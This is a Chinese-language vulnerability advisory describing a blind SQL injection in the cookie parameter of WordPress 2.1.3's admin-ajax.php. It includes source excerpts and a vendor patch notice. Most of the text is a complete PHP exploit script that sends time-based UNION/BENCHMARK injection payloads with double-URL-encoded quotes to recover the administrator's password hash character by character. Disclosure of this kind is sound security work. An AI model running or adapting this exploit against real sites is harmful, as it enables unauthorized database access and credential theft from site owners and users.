Wordpress admin-ajax.php远程SQL注入漏洞

添加时间:
2008-10-04

系统编号:
WAVDB-01107
BUGTRAQ: 27406

影响版本:
WordPress 2.1.3

程序介绍:

WordPress是一款免费的论坛Blog系统。

漏洞分析:

WordPress实现上存在输入验证漏洞，远程攻击者可能利用此漏洞执行SQL注入攻击非授权访问数据库。

WordPress的wp-admin/admin-ajax.php文件没有正确验证对cookie参数的输入。在wp-admin/admin-ajax.php的6行：

define('DOING_AJAX', true);
check_ajax_referer();
if ( !is_user_logged_in() )
die('-1');

然后在check_ajax_referer()函数中：

function check_ajax_referer() {
$cookie = explode('; ', urldecode(emptyempty($_POST['cookie']) ?
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass
cookie=document.cookie
foreach ( $cookie as $tasty ) {
if ( false !== strpos($tasty, USER_COOKIE) )
$user = substr(strstr($tasty, '='), 1);
if ( false !== strpos($tasty, PASS_COOKIE) )
$pass = substr(strstr($tasty, '='), 1);
}
if ( !wp_login( $user, $pass, true ) )
die('-1');

可见使用了urldecode()，因此通过%2527就可以向wp_login()传送单引号，绕过php的magic_quotes功能。

接下来：

function wp_login($username, $password, $already_md5 = false) {
global $wpdb, $error;
...
$login = get_userdatabylogin($username);

最终：

function get_userdatabylogin($user_login) {
global $wpdb;
...
if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users
WHERE user_login = '$user_login'") )
return false;

因此攻击者可以执行SQL注入攻击。

漏洞利用:

<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================
echo "Target: $url\n";
echo "sql table prefix: $prefix\n";
if(emptyempty($suffix))
{
$suffix = md5(substr($url, 0, strlen($url) - 24));
}
echo "cookie suffix: $suffix\n";
echo "testing probe delays \n";
$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";
$hash = get_hash();
add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");
echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! :) \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 32;
$field = 'user_pass';
$out = '';
echo "finding hash now ...\n";
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($field,$i);
echo "got $field pos $i --> $ch\n";
$out .= "$ch";
echo "current value for $field: $out \n";
}
echo "\nFinal result: $field=$out\n\n";
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
global $prefix, $suffix, $id, $testcnt;
$char = '';
$cnt = $testcnt * 4;
$ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
$ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
// First let's determine, if it's number or letter
$inj = sprintf($ipattern, $prefix, $id, ">57");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
echo "char to find is [a-f]\n";
}
else
{
$min = 48;
$max = 57;
echo "char to find is [0-9]\n";
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$inj = sprintf($ipattern, $prefix, $id, "=$max");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$inj = sprintf($ipattern, $prefix, $id, ">$curr");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
echo "curr: $curr--$max--$min\n";
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url, $norm_delay;
$bret = false;
$maxtry = 10;
$try = 1;
while(1)
{
$start = getmicrotime();
$buff = make_post($url, $p);
$end = getmicrotime();
if($buff === '-1')
{
break;
}
else
{
echo "test_condition() - try $try - invalid return value ...\n";
$try ++;
if($try > $maxtry)
{
die("too many tries - exiting ...\n");
}
else
{
echo "trying again - try $try ...\n";
}
}
}
$diff = $end - $start;
$delay = intval($diff * 10);
if($delay > ($norm_delay * 2))
{
$bret = true;
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
$fa = test_md5delay(1);
echo "$fa\n";
$sa = test_md5delay($testcnt);
echo "$sa\n";
$fb = test_md5delay(1);
echo "$fb\n";
$sb = test_md5delay($testcnt);
echo "$sb\n";
$fc = test_md5delay(1);
echo "$fc\n";
$sc = test_md5delay($testcnt);
echo "$sc\n";
$mean_nondelayed = intval(($fa + $fb + $fc) / 3);
echo "mean nondelayed - $mean_nondelayed dsecs\n";
$mean_delayed = intval(($sa + $sb + $sc) / 3);
echo "mean delayed - $mean_delayed dsecs\n";
return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
global $url, $id, $prefix, $suffix;
// delay in deciseconds
$delay = -1;
$ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
$ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
$inj = sprintf($ipattern, $prefix, $id, $cnt);
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$start = getmicrotime();
$buff = make_post($url, $post);
$end = getmicrotime();
if(intval($buff) !== -1)
{
die("test_md5delay($cnt) - invalid return value, exiting ...");
}
$diff = $end - $start;
$delay = intval($diff * 10);
return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
if(!emptyempty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!emptyempty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
global $outfile;
$buf .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $buf);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
?>

解决方案:
厂商补丁：
WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://wordpress.org/download/

信息来源:
<*来源：Janek Vind （come2waraxe@yahoo.com）

链接：http://secunia.com/advisories/25345/
http://marc.info/?l=bugtraq&m=117985846700637&w=2
*>

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